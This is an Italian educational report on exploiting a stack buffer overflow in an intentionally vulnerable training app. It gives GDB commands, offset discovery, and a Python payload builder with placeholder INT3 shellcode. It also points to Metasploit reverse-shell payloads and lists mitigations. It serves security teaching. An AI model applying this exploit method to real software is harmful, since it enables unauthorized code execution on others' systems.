# **EXTRA 2**

# **📄 Report Dimostrativo: Exploit di Buffer Overflow sull'Applicazione Vulnerabile**

## **1. Introduzione**

Questo report descrive in maniera dettagliata l'analisi, lo sviluppo e la dimostrazione di un exploit sfruttando una vulnerabilità di **buffer overflow** individuata nell'applicazione principale di un cliente. L’obiettivo è mostrare come un attaccante potrebbe sfruttare tale vulnerabilità per eseguire codice arbitrario sul sistema target, oltre a fornire raccomandazioni e strategie di mitigazione.

**Disclaimer:**

Il presente documento è fornito esclusivamente a scopo didattico e per la valutazione di vulnerabilità in ambienti controllati. L’utilizzo delle tecniche descritte su sistemi non autorizzati costituisce attività illegale e perseguibile dalla legge. ⚠️

## **2. Analisi della Vulnerabilità**

### **2.1 Cos'è un Buffer Overflow?**

Un **buffer overflow** si verifica quando un’applicazione scrive dati oltre i limiti di un buffer allocato in memoria. Ciò può portare a:

* **Corruzione di memoria:** Dati sovrascritti in aree critiche.
* **Crash dell’applicazione:** Comportamento inaspettato o terminazione forzata.
* **Esecuzione di codice arbitrario:** Un attaccante può controllare l’esecuzione del programma, indirizzando il flusso verso il proprio payload.

**Esempio concettuale:**

Se un buffer di 64 byte viene riempito con 100 byte, gli 36 byte in eccesso possono sovrascrivere informazioni critiche, come il puntatore di ritorno, consentendo il reindirizzamento del flusso di esecuzione.

### **2.2 Contesto dell'Applicazione Vulnerabile**

Il file vulnerabile fornito ([Buffer-Overflow-Vulnerable-app](https://github.com/akir4d/Buffer-Overflow-Vulnerable-app)) rappresenta un esempio didattico dove è presente una vulnerabilità di buffer overflow. L’applicazione è stata sviluppata per simulare un errore comune, rendendola un ambiente ideale per:

* **Comprendere le dinamiche di un overflow**
* **Testare exploit in un ambiente controllato**

## **3. Preparazione dell'Ambiente di Test**

Per replicare le condizioni della vulnerabilità e testare l’exploit, sono state adottate le seguenti misure:

**Ambiente Virtualizzato:**

* Utilizzo di macchine virtuali (es. VirtualBox, VMware) per isolare il sistema di test e prevenire danni a sistemi produttivi.
* **Installazione degli Strumenti Necessari:**
  + **GDB:** Debugger per analisi e identificazione del punto di crash.
  + **Metasploit Framework:** Per la creazione e gestione di payloads.
  + **Python:** Per sviluppare script personalizzati di exploit.
  + **Server Corrotto (opzionale):** Come suggerito dalla guida, per simulare ambienti compromessi.
* **Download e Compilazione dell’Applicazione Vulnerabile:**   
   git clone https://github.com/akir4d/Buffer-Overflow-Vulnerable-app.git  
  cd Buffer-Overflow-Vulnerable-app  
  make

## **4. Sviluppo dell'Exploit**

### **4.1 Analisi del Buffer Overflow**

**Obiettivi:**

* Determinare la dimensione esatta del buffer.
* Identificare il punto in cui l’overflow sovrascrive il puntatore di ritorno.

**Procedura:**

**Invio di Input di Test:**

1. Utilizzo di un pattern identificabile per individuare il crash.  
   python -c 'print "A"\*100' | ./vulnerable\_app  
   Utilizzando GDB:  
   gdb ./vulnerable\_app  
   (gdb) run $(python -c 'print "A"\*100')

**Identificazione del Crash:**

1. Analisi del core dump per determinare il valore sovrascritto del puntatore di ritorno.  
   (gdb) info registers

**Determinazione della Offset:**

1. Con strumenti come [pattern\_create/pattern\_offset](https://www.exploit-db.com/docs/english/44067-pattern_create.1.txt) si individua l’offset esatto al quale avviene la sovrascrittura.

**Emoji di Riferimento:**

🔍 **Analisi dettagliata** per determinare il punto di crash è fondamentale per un exploit affidabile.

### **4.2 Creazione del Payload**

Dopo aver determinato l’offset corretto, si procede con la creazione del payload sfruttabile.

**Strumenti Utilizzati:**

* **Metasploit:** Per generare un payload (es. windows/shell\_reverse\_tcp o linux/x86/shell\_bind\_tcp a seconda della piattaforma target).
* **Script Python:** Per costruire l’input di exploit.

**Esempio di Script Python:**

#!/usr/bin/env python3

import sys

​

# Offset determinato tramite pattern\_create/pattern\_offset

offset = 76

​

# Esempio di payload (NOP sled + shellcode)

nop\_sled = b"\x90" \* 16

# shellcode di esempio (da generare tramite msfvenom o tool analogo)

shellcode = b"\xcc" \* 32 # Utilizzato solo a scopo dimostrativo, 0xCC è l'istruzione INT3 (breakpoint)

​

# Costruzione del payload

payload = b"A" \* offset + nop\_sled + shellcode

​

# Invio del payload all'applicazione vulnerabile

print(payload.decode('latin-1'))

**Nota:**

Il payload reale deve essere generato con attenzione, garantendo la compatibilità con il sistema target e tenendo conto di eventuali restrizioni (bad characters, dimensione massima, ecc.).

🚀 **Testare sempre in ambienti isolati!**

### **4.3 Test dell'Exploit**

Per confermare l’efficacia dell’exploit:

**Esecuzione dell’applicazione in un ambiente controllato:**

1. Avviare l’applicazione vulnerabile in una finestra di terminale monitorata con GDB.
2. **Invio del Payload:**   
    (gdb) run $(python3 exploit.py)

**Verifica dell’Esecuzione di Codice Arbitrario:**

1. Se il payload è correttamente eseguito, si noterà il comportamento anomalo (ad esempio, l'apertura di una shell interattiva o la visualizzazione di un messaggio di conferma).

**Screenshot dimostrativo:**

*[Inserire qui screenshot della sessione GDB con evidenza del crash e del payload eseguito]*

(Per una demo video, si può allegare un link a un video registrato dell'exploit in esecuzione.)

## **5. Proposte di Mitigazione e Raccomandazioni**

Per ridurre il rischio associato a vulnerabilità di buffer overflow, si consiglia di:

* **Aggiornamento del Codice:**
  + Utilizzare funzioni di copia sicure (es. strncpy al posto di strcpy).
  + Implementare controlli sui limiti di input.
* **Patch di Sicurezza:**
  + Rilasciare aggiornamenti software che correggano la vulnerabilità.
  + Effettuare regolari audit del codice e analisi statiche.
* **Adozione di Tecniche di Protezione:**
  + **Stack Canaries:** Inserimento di valori di controllo per rilevare sovrascritture.
  + **ASLR (Address Space Layout Randomization):** Per randomizzare la posizione delle variabili in memoria.
  + **NX Bit (Non-eXecutable):** Impedire l'esecuzione di codice da stack e heap non eseguibili.
* **Best Practices di Programmazione Sicura:**
  + Validazione rigorosa degli input.
  + Utilizzo di linguaggi e librerie che gestiscono in sicurezza la memoria.

**Emoji di Consiglio:**

💡 **Adottare una mentalità "secure coding"** sin dalle prime fasi dello sviluppo per minimizzare il rischio di vulnerabilità.

## **6. Conclusioni**

In questo report è stata illustrata la metodologia per analizzare e sfruttare una vulnerabilità di buffer overflow in un ambiente di test controllato.

I punti chiave includono:

* **Identificazione del buffer overflow** tramite analisi del comportamento dell’applicazione.
* **Sviluppo e test dell’exploit** usando strumenti standard e script personalizzati.
* **Proposte di mitigazione**, essenziali per ridurre l’impatto di simili vulnerabilità.

L’obiettivo finale è sensibilizzare i team di sviluppo e sicurezza sull’importanza di:

* **Audit costanti del codice**
* **Aggiornamenti regolari e patch di sicurezza**
* **Formazione continua** in ambito cybersecurity.

**Emoji Finale:**

🚀 **Restate sicuri e aggiornati!**

## **7. Riferimenti**

* [Guida all'Overflow](https://mdanilor.github.io/posts/oscp-bof/)
* [Buffer-Overflow-Vulnerable-app su GitHub](https://github.com/akir4d/Buffer-Overflow-Vulnerable-app)
* **Metasploit Framework:** [Metasploit Documentation](https://docs.metasploit.com/)
* **GDB:** [GDB Documentation](https://www.gnu.org/software/gdb/)